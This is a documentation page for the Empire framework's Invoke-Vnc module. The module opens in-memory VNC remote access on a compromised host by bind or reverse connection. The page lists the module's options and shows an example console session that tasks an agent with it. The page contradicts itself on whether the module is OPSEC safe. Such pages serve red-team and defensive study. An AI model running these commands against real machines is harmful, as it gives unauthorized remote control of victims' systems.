Invoke-Vnc - Empire Module


This page contains detailed information about how to use the powershell/management/vnc Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-Vnc
Module: powershell/management/vnc
Source code [1]: empire/server/modules/powershell/management/vnc.yaml
Source code [2]: empire/server/data/module_source/management/Invoke-Vnc.ps1
MITRE ATT&CK: T1021
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the vnc module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the vnc module:

Agent
Agent to run module on.

ConType
Connection type, choose "bind" or "reverse".
Default value: bind.

Password
Password to use.
Default value: password.

Port
Port to Use.
Default value: 5900.

Additional Module Options

This is a list of additional options that are supported by the vnc module:

IpAddress
IP Address to use for reverse connection.

Vnc Example Usage

Here's an example of how to use the vnc module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/vnc

 Author       @n00py                                                               
 Background   True                                                                 
 Comments     https://github.com/artkond/Invoke-Vnc                                
 Description  Invoke-Vnc executes a VNC agent in-memory and initiates a reverse    
              connection, or binds to a specified port. Password authentication is 
              supported.                                                           
 Language     powershell                                                           
 Name         powershell/management/vnc                                            
 NeedsAdmin   False                                                                
 OpsecSafe    True                                                                 
 Techniques   http://attack.mitre.org/techniques/T1021                             


,Record Options--------,----------,-----------------------------------,
| Name      | Value    | Required | Description                       |
|-----------|----------|----------|-----------------------------------|
| Agent     |          | True     | Agent to run module on.           |
|-----------|----------|----------|-----------------------------------|
| ConType   | bind     | True     | Connection type, choose "bind" or |
|           |          |          | "reverse".                        |
|-----------|----------|----------|-----------------------------------|
| IpAddress |          | False    | IP Address to use for reverse     |
|           |          |          | connection.                       |
|-----------|----------|----------|-----------------------------------|
| Password  | password | True     | Password to use.                  |
|-----------|----------|----------|-----------------------------------|
| Port      | 5900     | True     | Port to Use.                      |
'-----------'----------'----------'-----------------------------------'

(Empire: usemodule/powershell/management/vnc) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/vnc) > set ConType bind
[*] Set ConType to bind
(Empire: usemodule/powershell/management/vnc) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/powershell/management/vnc) > set Port 5900
[*] Set Port to 5900
(Empire: usemodule/powershell/management/vnc) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.